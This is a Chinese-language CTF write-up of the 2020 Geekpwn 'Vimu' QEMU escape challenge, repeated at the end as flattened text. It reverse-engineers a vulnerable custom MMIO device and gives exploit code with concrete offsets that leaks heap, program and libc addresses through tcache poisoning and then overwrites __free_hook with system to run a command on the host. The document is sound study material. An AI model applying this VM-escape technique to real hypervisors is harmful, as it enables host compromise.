2020Geekpwn-Qemu逃逸-Vimu解题过程分析
字数 1581 2025-08-24 10:10:13

QEMU逃逸漏洞分析:Vimu解题过程详解

1. 题目背景

2020年Geekpwn比赛中的Vimu题目是一道QEMU逃逸题目,属于G-escape类别。题目要求参赛者通过分析QEMU模拟器中的自定义设备漏洞,实现从虚拟机内部逃逸到宿主机。

2. 环境配置

题目提供了Dockerfile,基于Ubuntu 18.04标准版本。运行环境需要补充多个库文件(约7-8个)才能成功启动。

3. 设备逆向分析

3.1 设备识别

启动脚本中启动了一个自定义设备vin,这是漏洞所在设备。使用IDA分析被strip过的qemu-system-x86_64二进制文件,通过搜索特征字符串定位相关函数。

3.2 设备结构体

自定义设备结构体关键字段:

  • 0x1AB0: 初始值为0xFFFFFFF
  • 0x1AB8: 存储mmap64分配的0x10000字节内存块地址(RW权限)
  • 0x1AC0: 初始值为1
  • 0x1AC8: 初始为NULL

3.3 关键函数分析

vin_instance_init函数

__int64 vin_instance_init(__int64 a1) {
    __int64 v1 = object_dynamic_cast_assert(a1, &off_9FBFE6, ".../vin.c", 307LL, "vin_instance_init");
    *(QWORD *)(v1 + 0x1AB0) = 0xFFFFFFFLL;
    *(DWORD *)(v1 + 0x1AC0) = 1;
    *(QWORD *)(v1 + 0x1AC8) = 0LL;
    *(QWORD *)(v1 + 0x1AB8) = mmap64(0LL, 0x10000, 3, 34, -1, 0LL);
    return object_property_add(a1, "dma_mask");
}

vin_mmio_read函数

__int64 vin_mmio_read(__int64 a1, int addr, unsigned int size) {
    if (BYTE2(addr) == 6 && (unsigned __int16)addr < 0x10000 - size)
        memcpy(&dest, (const void *)((unsigned __int16)addr + *(QWORD *)(opaque + 0x1AB8)), size);
    return dest;
}
  • addr参数分解:
    • 最后两个字节:offset
    • 倒数第三个字节:choice(必须为6)
  • 功能:从mmap64内存块中任意地址读取任意字节

vin_mmio_write函数

void vin_mmio_write(__int64 a1, __int64 a2, __int64 val, unsigned int size) {
    switch(BYTE2(a2)) {
        case 1: // 任意free(mmap64_start+offset)
            free(*(QWORD *)(opaque + 0x1AB8) + (unsigned __int16)addr);
            break;
        case 3: // 对mmap64_start+offset任意写
            memcpy((void *)((unsigned __int16)addr + *(QWORD *)(opaque + 0x1AB8)), &val, size);
            break;
        case 4: // 一次性的malloc(8*size)并保存在0x1AC8
            if (*(DWORD *)(opaque + 0x1AC0) == 1) {
                *(QWORD *)(opaque + 0x1AC8) = malloc(8LL * (unsigned __int16)addr);
                --*(DWORD *)(opaque + 0x1AC0);
            }
            break;
        case 7: // 对0x1AC8处指针指向的地址任意写(不限次数)
            if ((unsigned __int16)addr <= 0x2F)
                memcpy((void *)((unsigned __int16)addr + *(QWORD *)(opaque + 0x1AC8)), &val, size);
            break;
        case 8: // 不限次数的malloc(8*size)
            malloc(8LL * (unsigned __int16)addr);
            break;
    }
}

4. 漏洞分析

主要漏洞点:

  1. 任意地址free:通过case 1可以free mmap64内存块中的任意地址
  2. 内存管理限制绕过:case 4只有一次使用机会,但可以结合其他case实现更复杂的利用

5. 利用思路

5.1 挑战与限制

  1. 保护全开(ASLR, NX等)
  2. QEMU多线程环境(4个线程)
  3. 内存分配限制(只有一次case 4的使用机会)

5.2 泄露信息

泄露thread_heap基址

  1. 通过任意free将fake chunk放入tcache
  2. 修改fake chunk的fd指针指向thread_heap特定位置
  3. 通过malloc获取包含elfbase地址的内存

泄露libc基址

  1. 通过elfbase计算GOT表地址
  2. 同样方法读取GOT表中的函数地址
  3. 计算libc基址

5.3 关键发现

在thread_heap的固定偏移处(如0xBA0)存在稳定的elfbase地址,这成为泄露的关键点。

5.4 完整利用步骤

  1. 准备tcache:选择0x400大小的tcache链,调整count为2
  2. 泄露thread_heap
    • free fake chunk到tcache
    • 修改fd指向thread_heap+0xBA0
    • malloc获取包含elfbase的地址
  3. 泄露elfbase
    • 计算程序基址
  4. 泄露libc
    • 通过GOT表获取libc函数地址
    • 计算libc基址
  5. 劫持控制流
    • 使用case 4分配free_hook地址
    • 写入system地址
    • 准备"cat /flag"字符串
    • 触发free("cat /flag")执行system

6. EXP代码关键部分

// 泄露thread_heap
mmio_write(0x030008, 0x400);  // malloc 0x400
mmio_write(0x010010, 0);      // free
thread_heap = mmio_read(0x060410) & 0xffffff000000;

// 泄露elfbase
mmio_write(0x030010, thread_heap + 0xba0);  // 修改fd
codebase = mmio_read(0x060010) - (0x5555567ae468 - 0x555555554000);

// 泄露libc
free_got = 0x1092330 + codebase;
mmio_write(0x030010, free_got);
libcbase = mmio_read(0x060010) - 0x97950;

// 劫持free_hook
free_hook = libcbase + (0x7ffff41528e8 - 0x00007ffff3d65000);
system_addr = libcbase + (0x7ffff3db4440 - 0x00007ffff3d65000);
mmio_write(0x030010, free_hook);
*(uint64_t *)(mmio_mem + 0x070000) = system_addr;

// 触发
mmio_write(0x030010, 0x20746163);  // "cat /flag"
mmio_write(0x030014, 0x616c662f);
mmio_write(0x010010, 0);  // 触发free

7. 远程利用

远程利用需要:

  1. 使用musl-gcc编译exp:musl-gcc myexp.c -Os -o myexp
  2. 去除符号表:strip myexp
  3. 通过base64编码上传

8. 总结与经验

  1. QEMU逃逸题目通常分为两类:

    • 自定义设备存在漏洞
    • 修改原有设备引入漏洞(通常更难)
  2. 关键技巧:

    • 理解QEMU内存管理机制
    • 分析多线程环境下的内存分配行为
    • 利用tcache等堆管理机制的特性
    • 寻找内存中的稳定地址信息
  3. 调试技巧:

    • 使用getchar()或sleep(0.1)防止信号错位
    • 关注线程arena与main arena的区别

这道题目展示了如何通过分析QEMU设备漏洞,结合堆管理和内存泄露技术,最终实现从虚拟机到宿主机的逃逸。

QEMU逃逸漏洞分析:Vimu解题过程详解 1. 题目背景 2020年Geekpwn比赛中的Vimu题目是一道QEMU逃逸题目,属于G-escape类别。题目要求参赛者通过分析QEMU模拟器中的自定义设备漏洞,实现从虚拟机内部逃逸到宿主机。 2. 环境配置 题目提供了Dockerfile,基于Ubuntu 18.04标准版本。运行环境需要补充多个库文件(约7-8个)才能成功启动。 3. 设备逆向分析 3.1 设备识别 启动脚本中启动了一个自定义设备 vin ,这是漏洞所在设备。使用IDA分析被strip过的 qemu-system-x86_64 二进制文件,通过搜索特征字符串定位相关函数。 3.2 设备结构体 自定义设备结构体关键字段: 0x1AB0 : 初始值为 0xFFFFFFF 0x1AB8 : 存储 mmap64 分配的0x10000字节内存块地址(RW权限) 0x1AC0 : 初始值为1 0x1AC8 : 初始为NULL 3.3 关键函数分析 vin_ instance_ init函数 vin_ mmio_ read函数 addr 参数分解: 最后两个字节:offset 倒数第三个字节:choice(必须为6) 功能:从mmap64内存块中任意地址读取任意字节 vin_ mmio_ write函数 4. 漏洞分析 主要漏洞点: 任意地址free :通过case 1可以free mmap64内存块中的任意地址 内存管理限制绕过 :case 4只有一次使用机会,但可以结合其他case实现更复杂的利用 5. 利用思路 5.1 挑战与限制 保护全开(ASLR, NX等) QEMU多线程环境(4个线程) 内存分配限制(只有一次case 4的使用机会) 5.2 泄露信息 泄露thread_ heap基址 通过任意free将fake chunk放入tcache 修改fake chunk的fd指针指向thread_ heap特定位置 通过malloc获取包含elfbase地址的内存 泄露libc基址 通过elfbase计算GOT表地址 同样方法读取GOT表中的函数地址 计算libc基址 5.3 关键发现 在thread_ heap的固定偏移处(如0xBA0)存在稳定的elfbase地址,这成为泄露的关键点。 5.4 完整利用步骤 准备tcache :选择0x400大小的tcache链,调整count为2 泄露thread_ heap : free fake chunk到tcache 修改fd指向thread_ heap+0xBA0 malloc获取包含elfbase的地址 泄露elfbase : 计算程序基址 泄露libc : 通过GOT表获取libc函数地址 计算libc基址 劫持控制流 : 使用case 4分配free_ hook地址 写入system地址 准备"cat /flag"字符串 触发free("cat /flag")执行system 6. EXP代码关键部分 7. 远程利用 远程利用需要: 使用musl-gcc编译exp: musl-gcc myexp.c -Os -o myexp 去除符号表: strip myexp 通过base64编码上传 8. 总结与经验 QEMU逃逸题目通常分为两类: 自定义设备存在漏洞 修改原有设备引入漏洞(通常更难) 关键技巧: 理解QEMU内存管理机制 分析多线程环境下的内存分配行为 利用tcache等堆管理机制的特性 寻找内存中的稳定地址信息 调试技巧: 使用getchar()或sleep(0.1)防止信号错位 关注线程arena与main arena的区别 这道题目展示了如何通过分析QEMU设备漏洞,结合堆管理和内存泄露技术,最终实现从虚拟机到宿主机的逃逸。